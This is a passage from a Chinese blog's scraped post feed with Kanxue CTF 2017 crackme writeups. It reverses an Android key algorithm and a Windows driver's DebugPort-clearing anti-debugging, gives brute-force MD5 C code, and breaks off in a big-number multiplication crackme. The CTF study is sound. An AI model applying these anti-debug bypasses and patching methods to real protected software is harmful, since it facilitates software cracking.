先通过sub_1A31C子函数返回了一串字符199319124851!,算法和生成JPyjup3eCyJjlkV6DmSmGHQ=!!字符类似,不再细说。 12345678910111213141516.text:00019F80 428 20 46 MOV R0, R4 ; size.text:00019F82 428 E7 F7 14 EC BLX malloc //分配内存来保存第一次加密结果.text:00019F86 428 21 46 MOV R1, R4.text:00019F88 428 05 46 MOV R5, R0text:00019FF0 428 E7 F7 E2 EB BLX __aeabi_memclr;清零.text:00019FF4 428 6C 46 MOV R4, SP.text:00019FF6 428 08 21 MOVS R1, #8 ; a2.text:00019FF8 428 20 46 MOV R0, R4 ; result.text:00019FFA 428 42 46 MOV R2, R8 ; str.text:0001A0C8 428 EB F7 8C FA BL sub_55E4 ; str = "199310124851!".text:0001A0C8 ; a2 长度+2.text:0001A0CC 428 20 46 MOV R0, R4 ; p.text:0001A0CE 428 31 46 MOV R1, R6 ; key_len.text:0001A0D0 428 4A 46 MOV R2, R9 ; key.text:0001A0D2 428 2B 46 MOV R3, R5 ; pKeyResult 然后分配了一段内存,用于保存第一次加密的key结果。调用sub_55E4,将199310124851!通过变换放入一个8字节+0x100*4的数组(初始化为0-0x100)空间,挺绕的,由于这个函数跟key没有多大关系,所以咩必要细究是怎么做的,可以直接将计算后内存dump出来用后面的逆运算(其实我没用上)。 12.text:0001A13A 428 EA F7 A0 FA BL sub_467E;第一次加密变换.text:0001A13E 428 28 46 MOV R0, R5 然后sub_467E进行第一次加密变换,将key和前面的8字节+0x100*4的数组组队的xor,细节直接看代码(完整的我会放idb):1234567891011121314151617181920v4 = p->unk_0; v5 = p->unk_4; if ( key_len >> 3 ) // 8 >> 3 = 1 { v6 = -(key_len >> 3); // -2 v7 = pKeyResult + 8 * (key_len >> 3); // 2*8 key1 = key; do { ++v6; v9 = (unsigned __int8)(v4 + 1); // 1 v10 = p->index[v9]; // p->Index[1] v11 = v5 + v10; // 0+p->Index[1] v12 = p->index[v11]; p->index[v9] = v12; p->index[v11] = v10; *(_BYTE *)pKeyResult = p->index[(unsigned __int8)(v10 + v12)] ^ *(_BYTE *)key1; v13 = (unsigned __int8)(v4 + 2); // 2 v14 = p->index[v13]; // p->Index[2] ... 这里我没有暂时没有渗入理解,直接进入第二次加密运算。 1234.text:0001A222 428 01 44 ADD R1, R0 ;长度.text:0001A224 428 28 46 MOV R0, R5 ;第一次加密结果.text:0001A226 428 EB F7 69 FC BL sub_5AFC ;第二次加密.text:0001A22A 428 3B 49 LDR R1, =(__stack_chk_guard_ptr - 0x1A300) 进入sub_5AFC,将key每3个字节一组,进行<<8拼接,也就是a1<<16+a2<<8+a3,举个例子0xaa,0xbb,0xcc=>0xaabbcc 然后拼接结果v15再左移,如果是3个字符拼接的,这里v16是3,v19=v15 << 8 * (3 - v16)也就左移0,也就是不左移;如果是两个字符或者一个字符拼接的,这里就需要左移8或者16位,说白了就是需要构成0x112233的结构。 然后v19进行4次移位,取aAbcdefghijklmn字符放入结果内存中。其实就是v19按6位进行分割(分别右移0x12,0xc,0x6,0x0,&03f),分割的值作为index,去aAbcdefghijklmn中对应字符,保存。如果v16<3,也就是此次拼接没有3个字符,这里index=0x40,也就是增加额外的”=”用于结果。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647if ( _R10 > 0 ) // len>0 { i = 0; p1 = p; do { if ( i >= _R10 ) { v16 = 0; v15 = 0; } else { ii = 0; v15 = 0; do { v15 = *(_BYTE *)(key + i + ii) | (v15 << 8);// // v15 = key[i] | 0<<8 // v15 = key[i+1] | v15<<8 // v15 = key[i+1] | v15<<8 v16 = ii + 1; if ( ii + 1 > 2 ) // 0, 1 break; v17 = i + ii++; } while ( v17 + 1 < _R10 ); i += v16; // v16 = 1, 2, 3 // i += v16, 下次计算使用的i } j = 0; v19 = v15 << 8 * (3 - v16); v20 = 0x12; do { if ( v16 < j ) index = 0x40; else index = (v19 >> v20) & 0x3F; v20 -= 6; *((_BYTE *)p1 + j++) = aAbcdefghijklmn[index]; } while ( j != 4 ); // 每4字节 p1 = (char *)p1 + 4; } while ( i < _R10 ); } 逆向算法算法大致明白了,结果又是JPyjup3eCyJjlkV6DmSmGHQ=(取了0x18字节)。那么将第二次加密进行求逆。先找JPyjup3eCyJjlkV6DmSmGHQ=每字节在’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’中的index。 1234567891011121314151617k = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='r = 'JPyjup3eCyJjlkV6DmSmGHQ=' #//!!'idd = []def get_index_in_k(c): for i in range(0, len(k)): c1 = k[i:i+1] if c1 == c: return i return -1 def cc(): j = 0 for i in range(0, len(r)): c1 = r[i: i+1] index = get_index_in_k(c1) idd.append(index) #保存序号 print '%d: %c %d %x' % (i+1, c1, index, index ) 结果是:1234567891011121314151617181920212223241: J 9 92: P 15 f3: y 50 324: j 35 235: u 46 2e6: p 41 297: 3 55 378: e 30 1e9: C 2 210: y 50 3211: J 9 912: j 35 2313: l 37 2514: k 36 2415: V 21 1516: 6 58 3a17: D 3 318: m 38 2619: S 18 1220: m 38 2621: G 6 622: H 7 723: Q 16 1024: = 64 40 然后每4个index一组,来自于v19的4次右移,那么反过来4个一组,左移相加就是v19 123456789101112for i in range(0, len(idd), 4): a1 = idd[i] << 0x12 a2 = idd[i+1] << 0xc a3 = idd[i+2] << 0x6 a4 = 0 if idd[i+3] == 0x40: a4 = 0 else: a4 = idd[i+3] << 0 a = a1+ a2+a3+a4 rrr.append(a) print '%d: %x' % (i, a) 得到结果: 1234560: 24fca34: ba9dde8: b226312: 96457a16: e64a620: 1874 然后我们又知道v19其实是v15拼接的,所以拆开就得到v15(第一次加密结果),可以看到key长度应该是17。124 fc a3 ba 9d de 0b 22 63 96 45 7a 0e 64 a6 18 74 然后接着求第一次加密的逆运算,看代码,好多啊,怎么办,难道要求逆,好难!好吧,不装了,其实不难,我们看前面说的第一次加密其实就是分组xor!xor好啊,xor好啊…我们知道xor两次会将结果还原,想到了什么?!是的,既然我们拿到第一次加密结果,那让他再和哪个8字节+0x100*4的数组再xor一次不久可以了,但是要重写这个加密代码貌似也挺麻烦的,怎么办?! 这里我是这么做的,在调试中,第一次加密前,将key的值(本来是输入)修改为上面得到的第一次加密结果,然后开始第一次加密运算,这样不就完美的完成了一次求逆吗,哈哈! 具体操作,对1A13A下断,输入key(必须是17位,否则修改内存时可能会挂),确认,断下来,此时r2就是key 125E127B20 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 12345678901234565E127B30 37 00 6D 5F 1B 00 00 00 00 00 00 00 00 00 00 00 7.m_............ 然后在hex窗口,f2修改内存,输入上面的24 fc…,然后f2确认修改。125E127B20 24 FC A3 BA 9D DE 0B 22 63 96 45 7A 0E 64 A6 18 $.5E127B30 74 A9 12 5E 0F 00 1F 00 FF FF 1F 00 0F 00 00 t..^.. 然后f8。看看结果:125E127B38 6D 61 64 65 62 79 65 72 69 63 6B 79 39 34 35 32 madebyericky94525E127B48 38 00 73 00 11 10 00 00 62 00 69 00 6C 00 69 00 8.s.....b.i.l.i. 答案就是:madebyericky94528 转载请注明出处:https://anhkgg.github.io/kxctf2017-writeup6 参考: 安卓APP动态调试技术–以IDA为例 http://luleimi.blog.163.com/blog/static/175219645201210922139272/ http://blog.csdn.net/zhangmiaoping23/article/details/43445797 http://www.cnblogs.com/liujiahi/archive/2011/03/22/2196401.html http://cncc.bingj.com/cache.aspx?q=arm++IT+EQ&d=4981012666125942&mkt=zh-CN&setlang=zh-CN&w=YEX3ioizXLDZGmlpVDBGFh_dhhHpfnYj","tags":[{"name":"ctf","slug":"ctf","permalink":"https://anhkgg.github.io/tags/ctf/"},{"name":"writeup","slug":"writeup","permalink":"https://anhkgg.github.io/tags/writeup/"},{"name":"看雪","slug":"看雪","permalink":"https://anhkgg.github.io/tags/看雪/"},{"name":"kanxue","slug":"kanxue","permalink":"https://anhkgg.github.io/tags/kanxue/"},{"name":"bbs.pediy.com","slug":"bbs-pediy-com","permalink":"https://anhkgg.github.io/tags/bbs-pediy-com/"},{"name":"crackme","slug":"crackme","permalink":"https://anhkgg.github.io/tags/crackme/"},{"name":"安卓","slug":"安卓","permalink":"https://anhkgg.github.io/tags/安卓/"},{"name":"apk","slug":"apk","permalink":"https://anhkgg.github.io/tags/apk/"}]},{"title":"看雪CTF2017第五题 独行孤客CrackMe的writeup","date":"2017-06-11T06:42:16.000Z","path":"kxctf2017-writeup5/","text":"题目入口:http://ctf.pediy.com/game-fight-35.htm,可下载相关文件 本题需要在XP系统运行,因为驱动只支持xp 00. 先看驱动驱动不大,才20多个函数。 从入口开始分析。 1. 创建设备123456.text:000107D5 68 58 13 01 00 push offset aDeviceVmxdrv ; "\\\\device\\\\vmxdrv".text:000107DA 8D 45 F4 lea eax, [ebp+DestinationString].text:000107DD 33 FF xor edi, edi.text:000107DF 50 push eax ; DestinationString.text:000107E0 89 7D FC mov [ebp+DeviceObject], edi.text:000107E3 FF D6 call esi ; RtlInitUnicodeString 用来与应用层通信 2. IRP_MJ_FUNCTION主要有三个,read/write/ioctl。 123.text:00010870 C7 46 44 A8 05 01 00 mov dword ptr [esi+44h], offset f_DrvRead_105A8.text:00010877 C7 46 48 1C 06 01 00 mov dword ptr [esi+48h], offset f_DrvWrite_1061C.text:0001087E C7 46 70 1A 07 01 00 mov dword ptr [esi+70h], offset f_DrvControl_1071A 先看f_DrvWrite_1061C,通过irp获取到上层传入的数据,然后通过104b6获取某个输出存入全局变量g_READCC(根据read的分析,可以知道长度为4的4字节数组)。1234567891011.text:00010669 57 push edi ; size_t.text:0001066A FF 75 0C push [ebp+Irp] ; void *.text:0001066D 53 push ebx ; void *.text:0001066E E8 11 0C 00 00 call memcpy.text:00010673 83 C4 18 add esp, 18h.text:00010676 83 3D D8 14 01 00 00 cmp dword ptr is_clean_port, 0.text:0001067D 74 15 jz short loc_10694.text:0001067F 68 C8 14 01 00 push offset g_READCC ; int.text:00010684 53 push ebx ; void *.text:00010685 E8 2C FE FF FF call f_GetMd5_104B6.text:0001068A C7 05 DC 14 01 00 01 00 00 00 mov is_write, 1 进入104b6内部,key是个16字节数组,初始化0。然后将上面传下的数据拷贝到key中,长度需要小于16。然后将key进行一下变换。key[0] ++(反调试标志为1,后面再说),其他key[i] += i12345678910111213141516171819.text:000104F5 56 push esi ; size_t //长度.text:000104F6 51 push ecx ; void * //上层输入.text:000104F7 8D 45 EC lea eax, [ebp+key].text:000104FA 50 push eax ; void *.text:000104FB E8 84 0D 00 00 call memcpy...text:00010505 39 05 D8 14 01 00 cmp dword ptr is_clean_port, eax //判断标志是否为0,不为0,key[0] ++.text:0001050B 74 03 jz short loc_10510.text:0001050D FE 45 EC inc [ebp+key].text:00010510.text:00010510 loc_10510: ; CODE XREF: f_GetMd5_104B6+55.text:00010510 3B F0 cmp esi, eax.text:00010512 7E 09 jle short loc_1051D.text:00010514.text:00010514 loc_10514: ; CODE XREF: f_GetMd5_104B6+65.text:00010514 00 44 05 EC add [ebp+eax+key], al //key[i] += i.text:00010518 40 inc eax.text:00010519 3B C6 cmp eax, esi.text:0001051B 7C F7 jl short loc_10514 接着通过下面三个函数对key进行计算,输出结果123f_Md5_Init_108B2((MD5OBJ *)&v5);f_Md5_j_11124((MD5OBJ *)&v5, key, strlen(key));f_Md5_hexdigest((int)&v5, md5); 进入108b2一看就猜测是md5计算,f_Md5_hexdigest将计算结果(32字节字符)保存到md5字段中输出,设置计算标志。也就是大致确认write是计算md5,然后保存到g_READCC12345678910111213MD5OBJ *__stdcall f_Md5_Init_108B2(MD5OBJ *a1){ MD5OBJ *result; // eax@1_DrvControl result = a1; a1->len8 = 0; a1->unk_4 = 0; a1->s1 = 0x67452301; a1->s2 = 0xEFCDAB89; a1->s3 = 0x98BADCFE; a1->s4 = 0x10325476; return result;} 接着看f_DrvRead_105A8,看刚才的计算标志是否为0,为0就初始化g_READCC一段值(不知道作者意图,迷惑cracker?),如果计算标志是1,就直接返回计算的结果,然后该值返回到用户空间。也就是如果通过write计算了md5,这里就是获取md5计算结果。12345678910111213141516171819202122.text:000105AD if ( !is_write ) { i = 3; do { g_READCC[i] = 3 * i - 'd'; ++i; } while ( i < 16 ); g_READCC[0] = 0xCBu; g_READCC[1] = 0xAAu; g_READCC[2] = 0xDEu; g_READCC[3] = 0xB0u; } //返回数据 *(_DWORD *)&MasterIrp->Type = *(_DWORD *)g_READCC; v4 = (int)&MasterIrp->MdlAddress; *(_DWORD *)v4 = *(_DWORD *)&g_READCC[4]; v4 += 4; *(_DWORD *)v4 = *(_DWORD *)&g_READCC[8]; *(_DWORD *)(v4 + 4) = *(_DWORD *)&g_READCC[12]; 最后看f_DrvControl_1071A,支持多个命令号,但只有222004h有用。设置反调试标志为1,然后进入10486看看123456789.text:00010734 2D 04 20 22 00 sub eax, 222004h.text:00010739 8B 4E 0C mov ecx, [esi+0Ch].text:0001073C 74 2C jz short loc_1076A....text:0001076A loc_1076A: ; CODE XREF: f_DrvControl_1071A+22.text:0001076A C7 05 D8 14 01 00 01 00 00 00 mov dword ptr is_clean_port, 1.text:00010774 FF 15 80 13 01 00 call ds:IoGetCurrentProcess.text:0001077A A3 E0 14 01 00 mov eproc, eax.text:0001077F E8 02 FD FF FF call f_ClearDebugPort_10486 枚举进程找到当前进程的eprocess(其实没必要枚举把),置eprocess->DebugPort = NULL,让应用层调试器失效,达到反跳试效果。123456789result = IoGetCurrentProcess(); v1 = result; while ( result != (PEPROCESS)eproc ) { result = (PEPROCESS)(*((_DWORD *)result + 0x22) - 0x88);// eproc->ActiveProcessLinks.Flink if ( result == v1 ) return result; } *((_DWORD *)result + 0x2F) = 0; // eproc->DebugPort = 0 这里猜想一下,如果破解者通过应用层patch,不发送222004h命令来解除反跳试的话,那么这里的反跳试标志就是0,然后在write中计算md5时,对key[0]就不会做++操作,那么上层就会获取到一个错误的值,从而影响破解。 3. k掉驱动反调试首先想到的是将驱动文件patch,也就是DebugPort置零的指令nop掉1.text:000104A9 83 A0 BC 00 00 00 00 and dword ptr [eax+0BCh], 0 通过reshacker将驱动资源导出来,然后hex编辑工具修改104A9的内容(文件内存对齐一样)为7个NOP,然后再将patch驱动文件导入到exe中。 会提示驱动加载失败,可能有校验,不再细跟。 没办法,为了让od能够调试,我写了个简单驱动,在本驱动加载时,将104A进行patch,通过反跳试。 01. 再看CrackMe既然知道有驱动了,先找找释放和加载驱动的代码,通过 FindResourceA和CreateService即可定位(不再详述),注意到的是,驱动加载成功会设置一个标志,用于后面验证的判断 12v5 = f_CreaetSrv_401AA0(ServiceName, &Buffer);// vmxdrv v1->is_drv_run = v5; 然后再找和驱动通信的代码,通过DeviceIoControl找到调用222004命令好的代码。通过创建一个线程,循环调用该接口来清零DebugPort 123456789while ( 1 ) { v0 = CreateFileA(FileName, 0xC0000000, 0, 0, 3u, 0x80u, 0); if ( v0 == (HANDLE)-1 ) break; DeviceIoControl(v0, 0x222004u, 0, 0, &OutBuffer, 0x100u, &BytesReturned, 0); CloseHandle(v0); Sleep(0xBB8u); } 按理说这里可以patch掉来去掉反跳试,但就会出现我前面分析提到的问题。 通过WriteFile找到调用read/write的位置,也就是计算md5和获取md5的位置。 12345678910111213141516171819.text:00401D50 ; HANDLE __thiscall f_CalcKeyMd5_401D50(void *this, char *key, size_t len)....text:00401E4E push ebx ; lpOverlapped.text:00401E4F push eax ; lpNumberOfBytesWritten.text:00401E50 lea ecx, [esp+344h+Buffer] //用户输入的key相关数据.text:00401E54 push esi ; nNumberOfBytesToWrite.text:00401E55 push ecx ; lpBuffer.text:00401E56 push edi ; hFile.text:00401E57 call ds:WriteFile //计算md5.text:00401E5D test eax, eax.text:00401E5F jz short loc_401ED4.text:00401E61 lea edx, [esp+33Ch+NumberOfBytesRead].text:00401E65 push ebx ; lpOverlapped.text:00401E66 push edx ; lpNumberOfBytesRead.text:00401E67 lea eax, [esp+344h+keymd5].text:00401E6E push 10h ; nNumberOfBytesToRead.text:00401E70 push eax ; lpBuffer.text:00401E71 push edi ; hFile.text:00401E72 call ds:ReadFile //读取md5 f_CalcKeyMd5_401D50回溯一层就是输入key回车的响应函数。这里先通过UpdateData(1)获取输入数据,然后拷贝到局部变量12f_UpdateData_41A4F7(1);f_CString_copy_417D43((CString *)&key, (LPCSTR *)&v1->key);//用户输入的 然后输入进行小写和反转变换12f_CString_lwr_4182FA((CString *)&key); //小写f_Cstring_rev_41830C((CString *)&key); // 反转 判断输入长度是否为6,不是退出,清除输入,并通过IsDebuggerPresent检查是否在调试(OD直接过),是调试也退出,清理出输入。 123456if ( *(_DWORD *)(key - 8) != 6 || IsDebuggerPresent() ){ CString::operator=((CString *)&v1->unk_6c, byte_431398); CString::operator=((CString *)&v1->key, byte_431398); f_UpdateData_41A4F7(0);} 满足长度要求,再看驱动是否加载,再调用f_CalcKeyMd5_401D50计算md5. 也就是调用驱动获取md5,记为KeyMd51. 1234567//.text:004017DE if ( v1->is_drv_run ) { keymd5str = *(_DWORD *)(key - 8); v3 = sub_418263(&key, 0); f_CalcKeyMd5_401D50(v1, (char *)v3, keymd5str); } 接着下面两个函数,先调用f_GetStrMd5_401920(应用层的Md5,通过调试可以很快确认,内部也有md5特征)计算KeyMd51的Md5,记为KeyMd52,然后调用sub_415A78截取KeyMd52从第3为开始的10字符,记为KeyMd53。 123456789f_GetStrMd5_401920((char)v4, (CString *)keymd5str);// 00943950 37 63 37 36 36 65 32 61 31 63 61 30 35 37 63 37 7c766e2a1ca057c7 // 00943960 62 30 65 39 31 66 39 33 35 65 64 61 61 64 37 33 b0e91f935edaad73 // // // sub_415A78((LPCSTR *)&keymd5str_obj, (int)&v9, 2, 0xAu);// 截取2开始长度0xA的值 // 00943900 37 36 36 65 32 61 31 63 61 30 00 38 39 30 33 38 766e2a1ca0.89038 // 00943910 33 39 32 36 39 32 65 38 32 64 36 33 62 31 37 64 392692e82d63b17d // 最后KeyMd53与888aeda4ab比较,成功提示Success^^! 12345678910if ( _mbsicmp(keymd5str_obj, a888aeda4ab) ) // 888aeda4ab { CString::operator=((CString *)&v1->unk_6c, byte_431398); CString::operator=((CString *)&v1->key, byte_431398); f_UpdateData_41A4F7(0); } else { f_ShowSuccess_402030(v1);//成功提示 } 总结算法: KEY1 = rev(lwr(key)),key长度6,将输入转小写,逆序 反调试成功时KEY1[0]+=1, 其他KEY1[i]+=i; KEY2 = DrvMd5(KEY1),驱动MD5计算 KEY3 = Md5(KEY2), 应用层Md5计算 KEY4 = KEY3[2:12],取第3位开始的10个字符 KEY4 == ‘888aeda4ab’ 11. 求解由于MD5hash无法逆运算,只能爆破了,刚开始忘了题目key只能是数字和字母,结果我跑了全字符,跑了1天多….没出来,卡hi是怀疑自己 后来改成了数字字母,终于得到答案 su1987 爆破代码如下:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169char Seed[/*68*/36] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', }; #define SEED_SIZE 36// 68typedef struct _THREAD_PARAM{ int i1; int i2; int i3; int i2_1; int i2_2;}TPP, *PTPP;int g_ThreadCnt = 0;int g_start = 0;long g_count = 0;void write_file(char* sz){ HANDLE hFile = CreateFileA("1.log", GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile) { SetFilePointer(hFile, 0, 0, FILE_END); DWORD dw = 0; WriteFile(hFile, sz, strlen(sz), &dw, NULL); CloseHandle(hFile); hFile = NULL; }}bool crack1(PTPP p){ int i1 = p->i1; int i2 = p->i2; char sss[20] = {0}; for(int i3=0; i3<SEED_SIZE; i3++) { for(int i4=0; i4<SEED_SIZE; i4++) { for(int i5=0; i5<SEED_SIZE; i5++) { for(int i6=0; i6<SEED_SIZE; i6++) { char sza[7] = {Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i5]}; g_count ++; char sz[7] = {0}; //反转 sz[0] = Seed[i6]+1; sz[1] = Seed[i5]+1; sz[2] = Seed[i4]+2; sz[3] = Seed[i3]+3; sz[4] = Seed[i2]+4; sz[5] = Seed[i1]+5; FileMD5 fm; char* p = (char*)fm.md5(sz, 6); p = (char*)fm.md5(p, 32); strncpy(sss, p+2, 10); if(!stricmp(sss, "888aeda4ab")) { char info[1024] = {0}; sprintf(info, "%c%c%c%c%c%c, => %s,%s\\n", Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i6], sz, sss ); write_file(info); int spell = GetTickCount() - g_start; printf("spell time : %d s", spell/1000); system("pause"); return true; } } } //system("cls"); printf("count: %ld\\n", g_count); } } return false;}void crack3(PTPP p){ int i1 = p->i1; int i2_1 = p->i2_1; int i2_2 = p->i2_2; delete[] p; TPP p1 = {0}; p1.i1 = i1; for(int i=i2_1; i<i2_2; i++) { p1.i2 = i; if(crack1(&p1)) { return; } }}void crack2(int i1, int i2_1, int i2_2){ PTPP p = new TPP;//{0}; if(p == NULL) { printf("!!!!!!!!!!!!没neicun!!"); return; } memset(p, 0, sizeof(TPP)); p->i1 = i1; p->i2_1 = i2_1; p->i2_2 = i2_2; HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)crack3, (PVOID)p, 0, NULL); if(h == NULL) { printf("CreateTHREAD error [%d]\\n", g_ThreadCnt); } else { g_Handles[g_ThreadCnt++] = h; }}void crack(){ for(int i1=0; i1<SEED_SIZE; i1++) { int i2 = 0;#define STEP_SIZE 2 for(i2 = 0; i2<SEED_SIZE-STEP_SIZE; i2+=STEP_SIZE) { crack2(i1, i2, i2+STEP_SIZE); } crack2(i1, i2, SEED_SIZE); }} int _tmain(int argc, _TCHAR* argv[]){ int start = GetTickCount(); g_start = GetTickCount(); crack(); WaitForMultipleObjects(g_ThreadCnt, g_Handles, TRUE, INFINITE); int spell = GetTickCount() - start; printf("spell time : %d s, thread-count: %d\\n", spell, g_ThreadCnt); getchar(); return 0;} 最后结果1su1986, => 79;4yx,888aeda4ab 由于算法开始有转小写,所以其时答案中所有字母都可以是大小写选择,答案不唯一。 转载请注明出处:https://anhkgg.github.io/kxctf2017-writeup5","tags":[{"name":"ctf","slug":"ctf","permalink":"https://anhkgg.github.io/tags/ctf/"},{"name":"writeup","slug":"writeup","permalink":"https://anhkgg.github.io/tags/writeup/"},{"name":"看雪","slug":"看雪","permalink":"https://anhkgg.github.io/tags/看雪/"},{"name":"kanxue","slug":"kanxue","permalink":"https://anhkgg.github.io/tags/kanxue/"},{"name":"bbs.pediy.com","slug":"bbs-pediy-com","permalink":"https://anhkgg.github.io/tags/bbs-pediy-com/"},{"name":"crackme","slug":"crackme","permalink":"https://anhkgg.github.io/tags/crackme/"}]},{"title":"看雪CTF2017第二题lelfeiCM的writeup","date":"2017-06-11T00:36:27.000Z","path":"kxctf2017_writeup2/","text":"题目入口:http://ctf.pediy.com/game-fight-32.htm,可下载相关文件 0. 定位算法位置由于是console程序,并且没有隐藏字符串,通过OD/IDA找到关键字符串,所在函数就是关键算法函数:1234.data:00409058 aWellDone db 'WELL DONE!',0Ah,0 ; DATA XREF: _main:loc_401257o.data:00409064 aWrongKey___ db 'WRONG KEY...',0Ah,0 ; DATA XREF: _main+231o.data:00409072 align 4.data:00409074 aKeyFormatError db 'key format error...',0Ah,0 ; DATA XREF: _main+9Ao 其实就在main函数中,然后看获取输入之后干了什么。首先检查输入长度是不是在8到20之间,不是提示key len error1234567.text:00401066 cmp ecx, 8.text:00401069 jl loc_40127A.text:0040106F cmp ecx, 14h.text:00401072 jg loc_40127A.text:00401078 xor esi, esi.text:0040107A xor edx, edx.text:0040107C test ecx, ecx 是不是都是数值,不是就提示key format error…1234567891011121314151617181920.text:00401082 jle short loc_4010AC.text:00401084.text:00401084 loc_401084: ; CODE XREF: _main+94j.text:00401084 mov al, [esp+edx+4138h+key].text:00401088 cmp al, 30h.text:0040108A jle short loc_401090.text:0040108C cmp al, 39h.text:0040108E jle short loc_401091.text:00401090.text:00401090 loc_401090: ; CODE XREF: _main+8Aj.text:00401090 inc esi.text:00401091.text:00401091 loc_401091: ; CODE XREF: _main+8Ej.text:00401091 inc edx.text:00401092 cmp edx, ecx.text:00401094 jl short loc_401084.text:00401096 test esi, esi.text:00401098 jz short loc_4010AC.text:0040109A push offset aKeyFormatError ; "key format error...\\n".text:0040109F call f_printf_401BE0 下面接着就是算法的重要部分了,一看到下面的函数,就知道有点小类结构了123456789101112131415.text:004012C0 ; KEY_OBJ1 *__thiscall f_keyobj_init_4012C0(KEY_OBJ1 *this).text:004012C0 f_keyobj_init_4012C0 proc near ; CODE XREF: _main+B3 p.text:004012C0 ; f_keyobj_calc_mul_401730+29p ....text:004012C0 push esi.text:004012C1 mov esi, ecx.text:004012C3 mov dword ptr [esi], offset off_4080C8.text:004012C9 call ds:GetTickCount.text:004012CF mov ecx, esi.text:004012D1 mov [esi+200Ch], eax.text:004012D7 mov [esi+2008h], eax.text:004012DD call f_keyobj_init_seed1_401A60.text:004012E2 mov eax, esi.text:004012E4 pop esi.text:004012E5 retn.text:004012E5 f_keyobj_init_4012C0 endp 1. 算法类结构分析,各类函数的功能分析先把类结构大致整理出来,方便后续分析 12345678900000000 KEY_OBJ1 struc ; (sizeof=0x2010) ; XREF: _mainr00000000 ; f_keyobj_calc_mul_401730r00000000 vtable_4080C8 dd ?00000004 cur_calc_pos dd ? //结果长度00000008 seed_array_1024_1 dd 1024 dup(?) //保存key的值00001008 seed_array_1024 dd 1024 dup(?) //保存序号00002008 TickCnt_key_seed dd ?0000200C TickCnt1 dd ?00002010 KEY_OBJ1 ends 然后就是几个关键函数: 1.1 初始化数据123456789.text:00401A60 ; char *__thiscall f_keyobj_init_seed1_401A60(KEY_OBJ1 *this)....text:00401A8F call f_kyeobj_getindex_4019E0 //更加GetTickCount获取随机index,用于打乱序号的顺序增加分析难度....text:00401ABA mov esi, [ecx].text:00401ABC sub ecx, 4.text:00401ABF mov [eax], esi.text:00401AC1 add eax, 4.text:00401AC4 dec edx 这个地方首先就想到了每次GetTickCount不一样,那么算法怎么保证结果相同呢,便想到肯定跟index顺序无关,后面验证果然是,我就把401A60给patch了一下,然初始化的序号结构没有打乱顺序,保持0-0x3ff,如下1234//nop了00401A8F调用的循环部分 .text:00401A8F call f_kyeobj_getindex_4019E0 //这里其实就是seed_array_1024[1023],不让它倒过来赋值,修改为lea ecx, [esi+1008h].text:00401AAE lea ecx, [esi+2004h] 这样之后,就可以很方便查看数据变换,观察这两个字段即可1200000004 cur_calc_pos dd ? //结果长度00000008 seed_array_1024_1 dd 1024 dup(?) //保存key的值 后面所有相关函数中有关index转换的也不用关注,因为他变来变去都是0-0x3ff,就只需要关注具体数据操作了。然后其他函数功能分析也就简单了。下面简单列一下,不做详细说明了(很简单,就是数组操作过来过去的)1234.text:004014E0 ; int __thiscall f_keyojb_key1_4014E0(void *this, const char *key) //将输入的key保存到seed_array_1024_1 中,字符转为数值,每个值存一个dword.text:00401970 ; void __thiscall f_keyobj_key1_s2_401970(KEY_OBJ1 *this) //数值大于10,取余存当前index位置,取商和index+1位置求和保存,其实就是进位处理(后面才醒悟).text:00401730 ; signed int __userpurge f_keyobj_calc_mul_401730@<eax>(int a1@<eax>, int keyobj0@<ecx>, signed int a3)//用a3取商做右位移,a3取余做加法,其实就是做乘法运算text:00401840 ; signed int __userpurge f_keyobj_mul2_401840@<eax>(int a1@<eax>, int a2@<ecx>, KEY_OBJ1 *a3)//两个KEY_OBJ做乘法 2. 醒悟算法究竟是个什么玩意输入的key关键处理部分1234567891011121314.text:004010E0 push 9.text:004010E2 lea ecx, [esp+413Ch+keyobj].text:004010E9 call f_keyobj_calc_mul_401730 ;....text:0040110B lea eax, [esp+4138h+keyobj1].text:00401112 lea ecx, [esp+4138h+keyobj].text:00401119 push eax.text:0040111A mov byte ptr [esp+413Ch+var_4], 1.text:00401122 call f_keyobj_mul2_401840....text:00401127 push 9.text:00401129 lea ecx, [esp+413Ch+keyobj].text:00401130 mov esi, eax.text:00401132 call f_keyobj_calc_mul_401730 ; 先前想着输入的key用9做位移,做加法,干么呢…一直绕不清,后来重新看f_keyobj_key1_s2_401970,觉得是进位处理,一下子就灵光了,这是实现乘法运算(1024位的乘法,真实折腾,nb)。这样算法也基本清楚了。key9key9(…) => result 怎么校验的呢? 计算结果长度必须是奇数 123456789.text:00401154 call f_keyobj_curpos_4013A0.text:00401159 and eax, 80000001h.text:0040115E jns short loc_401165.text:00401160 dec eax.text:00401161 or eax, 0FFFFFFFEh.text:00401164 inc eax.text:00401165.text:00401165 loc_401165: ; CODE XREF: _main+15E.text:00401165 cmp eax, 1 result[len/2] == key[0] 123456789101112.text:00401175 call f_keyobj_curpos_4013A0.text:0040117A sar eax, 1.text:0040117C push eax.text:0040117D lea ecx, [esp+413Ch+keyobj].text:00401184 call f_keyobj_check1_4013B0.text:00401189 push 0.text:0040118B lea ecx, [esp+413Ch+keyobj1].text:00401192 mov edi, eax.text:00401194 call f_keyobj_check1_4013B0.text:00401199 cmp edi, eax.text:0040119B lea ecx, [esp+4138h+keyobj1].text:004011A2 jnz short loc_40121C 高位部分和key相同(跳过比较那个字节) 12345.text:004011D0 lea ecx, [esp+4144h+keyobj1].text:004011D7 push esi.text:004011D8 push ecx.text:004011D9 lea ecx, 